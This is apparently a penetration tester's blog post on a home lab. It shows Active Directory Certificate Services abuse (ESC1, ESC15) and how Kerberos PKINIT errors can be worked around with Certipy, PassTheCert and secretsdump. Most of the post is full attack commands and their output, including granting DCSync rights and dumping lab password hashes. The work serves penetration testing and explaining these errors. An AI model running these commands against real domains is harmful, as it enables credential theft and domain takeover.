Post

Walking the dog: Fun with Kerberos and Pass The Certifcate

Having fun with Pass the Certificate and Kerberos errors and how to work around them

Walking the dog: Fun with Kerberos and Pass The Certifcate

This blog showcases some errors that may occur when passing a Certifcate (pfx) to Kerberos, and how you can sometimes work around them to still abuse the PFX. I digged into this because of a recent pentest where we faced some issues with the Certificate Authority and Kerberos errors. So I spun up my AD home lab and configured a same like scenario for the AD CS server, which was basically ESC1 for computer accounts. So only a machine account e.g. W2K25-PDC$ can exploit the ESC1 attack.

Lab

First we set up an environment with AD DS + AD CS. Next, we make a vulnerable template so we can perform ESC1. We call the template ESC1-TEMP. We also add a domain administrator with the username OtherAdmin. Because of laziness, I did not remove the TESTCORP\Domain Users group from the template permissions, because it doesn’t matter if a domain user of domain machine requests and uses the certificate. This means that both TESTCORP\Domain Users and TESTCORP\Domain Users both have the Enroll and Autoentroll permission on the template:

Permissions for the template vulnerable to ESC1

The following systems were used in the lab:

  • Kali (172.17.204.145)
  • Windows Server 2025 as Domain Controller and Certificate Authority (172.17.199.253)

ESC1

Using Certipy, we request the vulnerable template:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ certipy-ad req -u testuser -p Password123 -ca "testcorp-WIN-SUSL647VIKP-CA" -template "ESC1-TEMP" -target-ip 172.17.199.253 -upn otheradmin@testcorp.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 6
[*] Got certificate with UPN 'otheradmin@testcorp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'otheradmin.pfx'

This exports a PFX containing a certificate and key. Using this PFX we can request a TGT and perform UnPAC-the-hash to recover the NTLM hash for otheradmin. The following diagram shows how UnPAC-the-hash works.

UnPAC-the-hash flow. Image source: thehacker.recipes

Using Certipy, we specify the pfx with the -pfx parameter:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: otheradmin@testcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'otheradmin.ccache'
[*] Trying to retrieve NT hash for 'otheradmin'
[*] Got hash for 'otheradmin@testcorp.local': aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71

This results in the NTLM hash for otheradmin@testcorp.local, great! But as the above diagram shows, this only should work if PKINIT is available. So what is PKNINIT?

PKINIT

PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) is an extension to the Kerberos authentication protocol that allows the use of public key cryptography (such as RSA or elliptic curve cryptography) during the initial authentication process, instead of the traditional method that relies solely on symmetric key cryptography (shared secrets).

In the standard Kerberos process, a client authenticates to the Key Distribution Center (KDC) by using a pre-shared secret key (usually a password) and encrypting data with that key. PKINIT allows the client to authenticate using a digital certificate (public key infrastructure, PKI). This means the client can use public key cryptography to authenticate without needing to exchange passwords or rely on symmetric keys. PKINIT is commonly used for smart card authentication, where the user’s private key is stored securely on the card.

KDC_ERR_CLIENT_REVOKED

Now, let’s disable the user OtherAdmin and see if we can still get the NT hash:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: otheradmin@testcorp.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

This seems to resolve into the KDC_ERR_CLIENT_REVOKED error. Let’s enable the account again and set a threshold of 2 invalid attempts. Now the account gets locked for 1 minute. We can confirm this with trying to authenticate as the user with NetExec to LDAP:

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ nxc ldap 172.17.199.253 -u otheradmin -p "Password123"
SMB         172.17.199.253  445    WIN-SUSL647VIKP  [*] Windows 10.0 Build 26100 x64 (name:WIN-SUSL647VIKP) (domain:testcorp.local) (signing:True) (SMBv1:False)                                                                                                                                        
LDAP        172.17.199.253  389    WIN-SUSL647VIKP  [-] testcorp.local\otheradmin:Password123 USER_ACCOUNT_LOCKED

Let’s try to use that PFX certificate now that the user is locked:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: otheradmin@testcorp.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

This also results in a KDC_ERR_CLIENT_REVOKED error. This means that when an account is either disabled or has hit a lockout threshold, the PFX cannot be used for authentication. When you encounter this error, maybe try another high privileged domain user that isn’t disabled or locked.

KDC_ERR_ETYPE_NOSUPP

Let’s mess with some GPO’s now. We will first enable the GPO Computer Configuration → Policies → Administrative Templates → System → KDC -> KDC support for PKInit freshness extension and set it to required:

1
Required: PKInit Freshness Extension is required for successful authentication. Kerberos clients which do not support the PKInit Freshness Extension will always fail when using public key credentials.

Like so: Enabling the PKInit Freshness Extension GPO and setting it to Required

Now when we use the PFX, we will get the following error message:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: otheradmin@testcorp.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)

Interesting! However, we can still perform the RBCD attack if we specify the -ldap-shell parameter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://172.17.199.253:636'
[*] Authenticated to '172.17.199.253' as: u:TESTCORP\otheradmin
Type help for list of commands

# set_rbcd WIN-SUSL647VIKP$ INCENDIUMROCKS$
Found Target DN: CN=WIN-SUSL647VIKP,OU=Domain Controllers,DC=testcorp,DC=local
Target SID: S-1-5-21-320448686-1340094711-3770375256-1000

Found Grantee DN: CN=INCENDIUMROCKS,CN=Computers,DC=testcorp,DC=local
Grantee SID: S-1-5-21-320448686-1340094711-3770375256-1114
Currently allowed sids:
Delegation rights modified successfully!
INCENDIUMROCKS$ can now impersonate users on WIN-SUSL647VIKP$ via S4U2Proxy

# 

Other than that, we can also DCSync using the PFX. This and this post describe that it is still possible to export the certificate and the key from the PFX and to parse that to PassTheCert.py to grant a user DCsync rights.

We first export the certifcate and key:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ certipy-ad cert -pfx otheradmin.pfx -nocert -out otheradmin.key   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'otheradmin.key'
                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ certipy-ad cert -pfx otheradmin.pfx -nokey -out otheradmin.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'otheradmin.crt'

And now we set de DCsync rights for our low privileged user using PassTheCert.py:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ python3 passthecert.py -action modify_user -crt otheradmin.crt -key otheradmin.key -target testuser -elevate -domain testcorp.local -dc-host 172.17.199.253
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Granted user 'testuser' DCSYNC rights!

And now we can use secretsdump:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump 'testuser'@172.17.199.253
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0349c78bd4d8eab70da0b0683598b9b2:::
-- SNIPPED --

KDC_ERROR_CLIENT_NOT_TRUSTED

This is an error that we encountered during a recent pentest. According to some online sources, this error indicates that DC does not support the PKINIT, however I think this is not the case, but correct me if I am wrong. Let’s try to replicate this error. First, I will remove the smart card logon and KDC Authentication EKU from the following templates:

  • Domain Controller Authentication
  • Kerberos Authentication
  • Vulnerable ESC1 template

Doing all this, I got the KDC_ERR_PADATA_TYPE_NOSUPP error:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: otheradmin@testcorp.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

This is because I also removed the KDC Authentication EKU. So I added that back to the application policy but kept the Smart Card logon EKU removed. This time, I was still able to get the NT hash.

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: otheradmin@testcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'otheradmin.ccache'
[*] Trying to retrieve NT hash for 'otheradmin'
[*] Got hash for 'otheradmin@testcorp.local': aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71

So still no KDC_ERROR_CLIENT_NOT_TRUSTED error. I read this blog post, which describes that:

Another possibility I encountered during a recent internal assessment is when you have multiple KDCs and different CAs—think of different forest trusts across a large organization. A DC might not trust all CAs. For example, a DC might be configured to only trust its local domain’s CA and not all other CAs across the other forests. As such, you can issue a valid certificate but only authenticate to a few local DCs.

The blog continues by making a client authentication certification issued by his own CA. This results in the KDC_ERROR_CLIENT_NOT_TRUSTED error. Another possibility is a sync issue:

DCs sync the trusted CAs periodically from Active Directory and store their thumbprint in a local registry key at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates. If the synchronization fails, the KDC might hold a different collection of trusted CAs. This mismatch might account for the “client not trusted” error message.

It continues by adding its own CA certificate to the CA container. But that is not realistic in our case, because this would require an AD CS container in a child-domain. However, if you ever encounter such a case, there is a tool called AD-CS-Forest-Exploiter that does exactly that.

So, looking back at the pentest we encountered, this environment had 4 CA’s setup according to Certipy’s output:

1
2
3
4
5
6
"Certificate Authorities": [
    "SUB06",
    "SUB05",
    "CUSTOMER-Root-CA",
    "CA-CUSTOMER"
]

However, the vulnerable certificate template is only issued by the SUB05 CA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
"Properties": {
"name": "VULN-TEMPLATE@CUSTOMER",
"highvalue": true,
"Template Name": "VULN-TEMPLATE",
"Display Name": "VULN-TEMPLATE",
"Certificate Authorities": [
    "SUB05"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
    "EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
    "None"
],
"Private Key Flag": [
    "101056512"
],
"Extended Key Usage": [
    "Client Authentication",
    "Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"domain": "REDACTED"
}

I think that one of the above situations is more likely to have occurred than PKINIT not being supported. I think something like this happened:

  • The certificate from the vulnerable template was issued by a SUB certificate authority e.g. SUB05
  • This CA allows authenticating clients, according to the template’s EKU’s.
  • However, the domain controller might not trust certificates issued by SUB05 to authenticate

KDC_ERR_PADATA_TYPE_NOSUPP

In cases where PKINIT should not be enabled and the error results in KDC_ERR_PADATA_TYPE_NOSUPP, it is still possible to use the PFX to DCSync, using the same technique as described in KDC_ERR_ETYPE_NOSUPP

We first export the certifcate and key from the PFX:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ certipy-ad cert -pfx otheradmin.pfx -nocert -out otheradmin.key   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'otheradmin.key'
                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ certipy-ad cert -pfx otheradmin.pfx -nokey -out otheradmin.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'otheradmin.crt'

And now we set de DCsync rights for our low privileged user using PassTheCert.py:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ python3 passthecert.py -action modify_user -crt otheradmin.crt -key otheradmin.key -target testuser -elevate -domain testcorp.local -dc-host 172.17.199.253
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Granted user 'testuser' DCSYNC rights!

And now we can use secretsdump:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump 'testuser'@172.17.199.253
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0349c78bd4d8eab70da0b0683598b9b2:::
-- SNIPPED --

KDC_ERR_INCONSISTENT_KEY_PURPOSE

Like described in this article:

The following entries should always be removed Client Authentication Smart Card Logon

  • Client Authentication
  • Smart Card Logon

Let’s remove the client authentication EKU from the application policy of our vulnerable template.

Removing EKU’s from Application Policies

If we now authenticate using the pfx, the following error is shown:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -domain testcorp.local -username otheradmin
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: otheradmin@testcorp.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_INCONSISTENT_KEY_PURPOSE(Certificate cannot be used for PKINIT client authentication)

This article pops up if we Google it. Which describes the same error. It states that:

When attempting to authenticate, we encounter an error stating KDC_ERR_INCONSISTENT_KEY_PURPOSE, which indicates that the certificate cannot be used for Kerberos authentication. While this prevents us from getting a ticket granting ticket for the user, we can still pass the certificate using one of a few methods that can be found here. For our case we will use Certipy as it comes with a built-in argument that handles all of this for us.

The article continues by using the -ldap-shell parameter. In the article, this seemed to work. But when I reproduced it, it had the following error:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx otheradmin.pfx -dc-ip 172.17.199.253 -username otheradmin -domain testcorp.local -ldap-shell -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://172.17.199.253:636'
[*] Authenticated to '172.17.199.253' as: None
[-] Got error: 'NoneType' object has no attribute 'other'
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/certipy/entry.py", line 60, in main
    actions[options.action](options)
  File "/usr/lib/python3/dist-packages/certipy/commands/parsers/auth.py", line 12, in entry
    auth.entry(options)
  File "/usr/lib/python3/dist-packages/certipy/commands/auth.py", line 658, in entry
    authenticate.authenticate()
  File "/usr/lib/python3/dist-packages/certipy/commands/auth.py", line 159, in authenticate
    return self.ldap_authentication()
           ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/certipy/commands/auth.py", line 333, in ldap_authentication
    root = ldap_server.info.other["defaultNamingContext"][0]
           ^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'NoneType' object has no attribute 'other'

With PassTheCert.py I did get a ldap-shell but as the None user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ certipy-ad cert -pfx otheradmin.pfx -nocert -out otheradmin.key   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'otheradmin.key'
                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ certipy-ad cert -pfx otheradmin.pfx -nokey -out otheradmin.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'otheradmin.crt'

┌──(kali㉿kali)-[~]
└─$ python3 passthecert.py -action ldap-shell -crt otheradmin.crt -key otheradmin.key -domain testcorp.local -dc-ip 172.17.199.253
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands

# whoami
None

# 

So, this GitHub issue for Certipy describes the KDC_ERR_INCONSISTENT_KEY_PURPOSE error message, but this was for the ESC4 attack, where you can modify a certificate template. If your environment is vulnerable to ESC4 try this:

So I was able to get this attack to work by using modifyCertTemplate and waiting like 5 minutes-ish (1x CA environment). I also modified the pKIExtendedKeyUsage and msPKI-Certificate-Application-Policy to be identical. You could also just try implementing the Any Purpose EKU instead of Client Authentication to cover more oddities. Even for reverting the changes, I noticed there was a time delay. This is all anecdotal evidence, but resolved my issue here.

ESC15

You can always try the ESC15 attack, which is essentially ESC1 without the need to have a Client Authentication EKU, but this was patched by Microsoft in November 2024. I still tried it for fun against my patched environment. We request a certificate using the vulnerable template, but also parse the Certificate Request Agent EKU OID 1.3.6.1.4.1.311.20.2.1 to --application-policies.

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ certipy-ad req -u testuser -p Password123 -ca "testcorp-WIN-SUSL647VIKP-CA" -template "ESC1-TEMP" --application-policies "1.3.6.1.4.1.311.20.2.1" -target testcorp.local                               
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 82
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'testuser.pfx'

When adding this application policy to the certificate enrollment request enables the certificate to enroll for other certificate templates on behalf of other users. When we try this against my patched environment the following error is shown:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ certipy-ad req -u testuser -p Password123 -ca "testcorp-WIN-SUSL647VIKP-CA" -template "User" -dc-ip 172.17.199.253 -target testcorp.local -on-behalf-of testcorp\\otheradmin -pfx testuser.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x800b0110 - CERT_E_WRONG_USAGE - The certificate is not valid for the requested usage.
[*] Request ID is 84
Would you like to save the private key? (y/N) N
[-] Failed to request certificate

However, this may still work in some environments!

Is DCSyncing possible with KDC_ERR_INCONSISTENT_KEY_PURPOSE?

Let’s try the same DCSync with Pass The Cert method, but now with a certificate that results in KDC_ERR_INCONSISTENT_KEY_PURPOSE when we authenticate.

This time, Pass The Cert gives a false error that the user testuser doesn’t exist.

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ python3 passthecert.py -action modify_user -crt otheradmin.crt -key otheradmin.key -target testuser -elevate -domain testcorp.local -dc-host 172.17.199.253
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] User not found in LDAP: testuser
sAMAccountName testuser not found in dc=testcorp,dc=local!

This of course is a false error. And this error was also observed during the pentest we performed. It simply is not able to setup a authenticated LDAP connection using the certificate so it returns a IndexError which gets catched by.

1
2
except IndexError:
    logging.error('User not found in LDAP: %s' % accountName)

Conclusion

This was a nice dive into Kerberos errors regarding Pass the Certificate. We found some ways around errors to still abuse the PFX and now have a better understanding of what they mean. By taking such a practical approach and configuring our own environment, we discovered that the KDC_ERROR_CLIENT_NOT_TRUSTED error message likely does not mean that PKINIT isn’t supported, but rather a trust issue between CA and DC.

Sources

Research Papers & Blog Posts

Tools & Repositories

This post is licensed under CC BY 4.0 by the author.